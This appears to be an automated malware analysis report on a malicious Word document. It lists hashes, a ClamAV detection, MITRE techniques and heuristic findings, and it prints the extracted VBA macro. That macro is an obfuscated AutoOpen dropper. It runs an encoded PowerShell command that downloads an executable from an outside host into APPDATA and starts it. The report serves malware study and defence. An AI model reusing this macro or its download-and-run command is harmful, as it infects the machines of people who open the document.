Office (OLE) malware analysis — malicious · 48fb581864c03d49

MALICIOUS

Office (OLE)

155.0 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-01-25

MD5: 8c51d13491e0a128b15ed1ff7ab1ac14 SHA-1: c15f021a1a81176d076b7dd9b03eecbf98d12538 SHA-256: 48fb581864c03d49fc1a51f58e73bdbfb4ddb2b9d7f5ccbe2c08af1b6bc38bb4

142 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro with an AutoOpen function, a common technique for executing malicious code upon document opening. The macro constructs and executes a command line that appears to download and run a second-stage payload. The ClamAV detection also confirms the malicious nature of this file.

Heuristics 5

ClamAV: Doc.Malware.Sagent-6697295-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Malware.Sagent-6697295-0
VBA macros detected medium 1 related finding OLE_VBA_MACROS

Document contains VBA macro code
AutoOpen macro high OLE_VBA_AUTOOPEN

AutoOpen macro
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 53533 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	53533 bytes
SHA-256: `28d51338bf02df1c44939a60dbbc2cb8a340549ccdfe42d8d107f6d5d8806a9d`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Const mypoNObomAMReFyaEHIXEtJamuSaxilyvoz = 0 Sub AutoOpen() On Error Resume Next BEgiDoceXYvUruGYMoHixtyDUsydyKUVYdU = "d." + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "x" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + " /c p^O^w^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^R^s^H^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^L^L^.^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^x^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^c^A^A^6^A^C^8^A^L^w^A^z^A^G^k^A^N^A^B^1^A^G^U^A^a^Q^B^q^A^G^k^A^d^w^B^v^A^H^E^A^a^Q^B^1^A^H^I^A^Z^Q^B^p^A^H^M^A^L^g^B^j^A^G^8^A^b^Q^A^v^A^E^0^A^W^A^B^F^A^C^8^A^b^A^B^v^A^G^Q^A^c^A^B^v^A^H^M^A^L^g^B^w^A^G^g^A^c^A^A^/^A^G^w^" Dim tILAciNyboVUaIWIjetYmuSUcozy(4) If 11 = 11 + (6 * 0) Then tILAciNyboVUaIWIjetYmuSUcozy(0) = CLng(8869) End If tILAciNyboVUaIWIjetYmuSUcozy(1) = Sqr(6) tILAciNyboVUaIWIjetYmuSUcozy(2) = Month(88698869) Dim fIFamonegOauZIdeauFurTuzYNEpaCoFIFoSUPUB(4) If 11 = 11 + (10 * 0) Then fIFamonegOauZIdeauFurTuzYNEpaCoFIFoSUPUB(0) = CLng(8852) End If fIFamonegOauZIdeauFurTuzYNEpaCoFIFoSUPUB(1) = Sqr(10) fIFamonegOauZIdeauFurTuzYNEpaCoFIFoSUPUB(2) = Month(88528852) fIFamonegOauZIdeauFurTuzYNEpaCoFIFoSUPUB(3) = Fix(8852.1) Dim QOnIovOjEwocDuaiqyDhEaOnafo(4) If 12 = 12 + (5 * 0) Then QOnIovOjEwocDuaiqyDhEaOnafo(0) = CLng(8691) End If QOnIovOjEwocDuaiqyDhEaOnafo(1) = Sqr(5) QOnIovOjEwocDuaiqyDhEaOnafo(2) = Month(86918691) QOnIovOjEwocDuaiqyDhEaOnafo(3) = Fix(8691.5) tILAciNyboVUaIWIjetYmuSUcozy(3) = Fix(8869.6) Dim XIkozygYpamYlivezuvEKOtQYCikEaYjOFyiY(4) If 10 = 10 + (10 * 0) Then XIkozygYpamYlivezuvEKOtQYCikEaYjOFyiY(0) = CLng(2123) End If XIkozygYpamYlivezuvEKOtQYCikEaYjOFyiY(1) = Sqr(10) XIkozygYpamYlivezuvEKOtQYCikEaYjOFyiY(2) = Month(21232123) XIkozygYpamYlivezuvEKOtQYCikEaYjOFyiY(3) = Fix(2123.1) Dim iLupIQAxeMwezODiRoSIBIQelitYK(4) If 10 = 10 + (3 * 0) Then iLupIQAxeMwezODiRoSIBIQelitYK(0) = CLng(6801) End If iLupIQAxeMwezODiRoSIBIQelitYK(1) = Sqr(3) iLupIQAxeMwezODiRoSIBIQelitYK(2) = Month(68016801) iLupIQAxeMwezODiRoSIBIQelitYK(3) = Fix(6801.3) oZUPuZyaOPeHuMGOJLeraTyHaBUlASoGiPrYC = "A^P^Q^B^r^A^H^c^A^Z^Q^B^l^A^G^0^A^M^g^A^u^A^H^g^A^d^A^A^y^A^C^I^A^L^A^A^g^A^C^Q^A^Z^Q^B^u^A^H^Y^A^O^g^B^B^A^F^A^A^U^A^B^E^A^E^E^A^V^A^B^B^A^C^A^A^K^w^A^g^A^C^c^A^X^A^A^x^A^D^Q^A^N^Q^A^0^A^D^Q^A^M^Q^A^2^A^D^U^A^O^A^A^1^A^D^k^A^N^w^A^0^A^C^4^A^Z^Q^B^4^A^G^U^A^L^g^B^l^A^H^g^A^Z^Q^A^n^A^C^k^A^O^w^A^g^A^F^M^A^d^A^B^h^A^H^I^A^d^A^A^t^A^F^A^A^c^g^B^v^A^G^M^A^Z^Q^B^z^A^H^M^A^I^A^A^k^A^G^U^A^b^g^B^2^A^D^o^A^Q^Q^B^Q^A^F^A^A^R^A^B^B^A^F^Q^A^Q^Q^A^n^A^F^w^A^M^Q^A^0^A^D^U^A^N^A^A^0^A^D^E^A^N^g^A^1^A^D^g^A^N^Q^A^5^A^D^c^A^N^A^A^u^A^G^U^A^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^A^B^l^A^C" Dim FxyazOMAfTEQiKioHypadAhYxALeiuW(4) Dim kaALIloTyROzJurvubyLAJuSIDOqAnEhAB(4) If 11 = 11 + (3 * 0) Then kaALIloTyROzJurvubyLAJuSIDOqAnEhAB(0) = CLng(9167) End If kaALIloTyROzJurvubyLAJuSIDOqAnEhAB(1) = Sqr(3) kaALIloTyROzJurvubyLAJuSIDOqAnEhAB(2) = Month(91679167) kaALIloTyROzJurvubyLAJuSIDOqAnEhAB(3) = Fix(9167.3) Dim NacUteGYpiGUduxYborAZoiIvydYTUTyjAva(4) If 10 = 10 + (5 * 0) Then NacUteGYpiGUduxYborAZoiIvydYTUTyjAva(0) = CLng(1472) End If NacUteGYpiGUduxYborAZoiIvydYTUTyjAva(1) = Sqr(5) NacUteGYpiGUduxYborAZoiIvydYTUTyjAva(2) = Month(14721472) NacUteGYpiGUduxYborAZoiIvydYTUTyjAva(3) = Fix(1472.5) If 13 = 13 + (8 * 0) Then Dim KYXEREfceGaCYDytOJYsOVOHat(4) If 12 = 12 + (10 * 0) Then KYXEREfceGaCYDytOJYsOVOHat(0) = CLng(4338) End If KYXEREfceGaCYDytOJYsOVOHat(1) = Sqr(10) KYXERE ... (truncated)

SHA-256: 28d51338bf02df1c44939a60dbbc2cb8a340549ccdfe42d8d107f6d5d8806a9d

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const mypoNObomAMReFyaEHIXEtJamuSaxilyvoz = 0
Sub AutoOpen()
On Error Resume Next
BEgiDoceXYvUruGYMoHixtyDUsydyKUVYdU = "d." + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "x" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + " /c p^O^w^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^R^s^H^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^L^L^.^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^x^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^c^A^A^6^A^C^8^A^L^w^A^z^A^G^k^A^N^A^B^1^A^G^U^A^a^Q^B^q^A^G^k^A^d^w^B^v^A^H^E^A^a^Q^B^1^A^H^I^A^Z^Q^B^p^A^H^M^A^L^g^B^j^A^G^8^A^b^Q^A^v^A^E^0^A^W^A^B^F^A^C^8^A^b^A^B^v^A^G^Q^A^c^A^B^v^A^H^M^A^L^g^B^w^A^G^g^A^c^A^A^/^A^G^w^"

Dim tILAciNyboVUaIWIjetYmuSUcozy(4)

If 11 = 11 + (6 * 0) Then
tILAciNyboVUaIWIjetYmuSUcozy(0) = CLng(8869)
End If
tILAciNyboVUaIWIjetYmuSUcozy(1) = Sqr(6)
tILAciNyboVUaIWIjetYmuSUcozy(2) = Month(88698869)
Dim fIFamonegOauZIdeauFurTuzYNEpaCoFIFoSUPUB(4)

If 11 = 11 + (10 * 0) Then
fIFamonegOauZIdeauFurTuzYNEpaCoFIFoSUPUB(0) = CLng(8852)
End If
fIFamonegOauZIdeauFurTuzYNEpaCoFIFoSUPUB(1) = Sqr(10)
fIFamonegOauZIdeauFurTuzYNEpaCoFIFoSUPUB(2) = Month(88528852)
fIFamonegOauZIdeauFurTuzYNEpaCoFIFoSUPUB(3) = Fix(8852.1)
Dim QOnIovOjEwocDuaiqyDhEaOnafo(4)

If 12 = 12 + (5 * 0) Then
QOnIovOjEwocDuaiqyDhEaOnafo(0) = CLng(8691)
End If
QOnIovOjEwocDuaiqyDhEaOnafo(1) = Sqr(5)
QOnIovOjEwocDuaiqyDhEaOnafo(2) = Month(86918691)
QOnIovOjEwocDuaiqyDhEaOnafo(3) = Fix(8691.5)
tILAciNyboVUaIWIjetYmuSUcozy(3) = Fix(8869.6)
Dim XIkozygYpamYlivezuvEKOtQYCikEaYjOFyiY(4)

If 10 = 10 + (10 * 0) Then
XIkozygYpamYlivezuvEKOtQYCikEaYjOFyiY(0) = CLng(2123)
End If
XIkozygYpamYlivezuvEKOtQYCikEaYjOFyiY(1) = Sqr(10)
XIkozygYpamYlivezuvEKOtQYCikEaYjOFyiY(2) = Month(21232123)
XIkozygYpamYlivezuvEKOtQYCikEaYjOFyiY(3) = Fix(2123.1)
Dim iLupIQAxeMwezODiRoSIBIQelitYK(4)

If 10 = 10 + (3 * 0) Then
iLupIQAxeMwezODiRoSIBIQelitYK(0) = CLng(6801)
End If
iLupIQAxeMwezODiRoSIBIQelitYK(1) = Sqr(3)
iLupIQAxeMwezODiRoSIBIQelitYK(2) = Month(68016801)
iLupIQAxeMwezODiRoSIBIQelitYK(3) = Fix(6801.3)

oZUPuZyaOPeHuMGOJLeraTyHaBUlASoGiPrYC = "A^P^Q^B^r^A^H^c^A^Z^Q^B^l^A^G^0^A^M^g^A^u^A^H^g^A^d^A^A^y^A^C^I^A^L^A^A^g^A^C^Q^A^Z^Q^B^u^A^H^Y^A^O^g^B^B^A^F^A^A^U^A^B^E^A^E^E^A^V^A^B^B^A^C^A^A^K^w^A^g^A^C^c^A^X^A^A^x^A^D^Q^A^N^Q^A^0^A^D^Q^A^M^Q^A^2^A^D^U^A^O^A^A^1^A^D^k^A^N^w^A^0^A^C^4^A^Z^Q^B^4^A^G^U^A^L^g^B^l^A^H^g^A^Z^Q^A^n^A^C^k^A^O^w^A^g^A^F^M^A^d^A^B^h^A^H^I^A^d^A^A^t^A^F^A^A^c^g^B^v^A^G^M^A^Z^Q^B^z^A^H^M^A^I^A^A^k^A^G^U^A^b^g^B^2^A^D^o^A^Q^Q^B^Q^A^F^A^A^R^A^B^B^A^F^Q^A^Q^Q^A^n^A^F^w^A^M^Q^A^0^A^D^U^A^N^A^A^0^A^D^E^A^N^g^A^1^A^D^g^A^N^Q^A^5^A^D^c^A^N^A^A^u^A^G^U^A^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^A^B^l^A^C"
Dim FxyazOMAfTEQiKioHypadAhYxALeiuW(4)
Dim kaALIloTyROzJurvubyLAJuSIDOqAnEhAB(4)

If 11 = 11 + (3 * 0) Then
kaALIloTyROzJurvubyLAJuSIDOqAnEhAB(0) = CLng(9167)
End If
kaALIloTyROzJurvubyLAJuSIDOqAnEhAB(1) = Sqr(3)
kaALIloTyROzJurvubyLAJuSIDOqAnEhAB(2) = Month(91679167)
kaALIloTyROzJurvubyLAJuSIDOqAnEhAB(3) = Fix(9167.3)

Dim NacUteGYpiGUduxYborAZoiIvydYTUTyjAva(4)

If 10 = 10 + (5 * 0) Then
NacUteGYpiGUduxYborAZoiIvydYTUTyjAva(0) = CLng(1472)
End If
NacUteGYpiGUduxYborAZoiIvydYTUTyjAva(1) = Sqr(5)
NacUteGYpiGUduxYborAZoiIvydYTUTyjAva(2) = Month(14721472)
NacUteGYpiGUduxYborAZoiIvydYTUTyjAva(3) = Fix(1472.5)
If 13 = 13 + (8 * 0) Then
Dim KYXEREfceGaCYDytOJYsOVOHat(4)

If 12 = 12 + (10 * 0) Then
KYXEREfceGaCYDytOJYsOVOHat(0) = CLng(4338)
End If
KYXEREfceGaCYDytOJYsOVOHat(1) = Sqr(10)
KYXERE
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.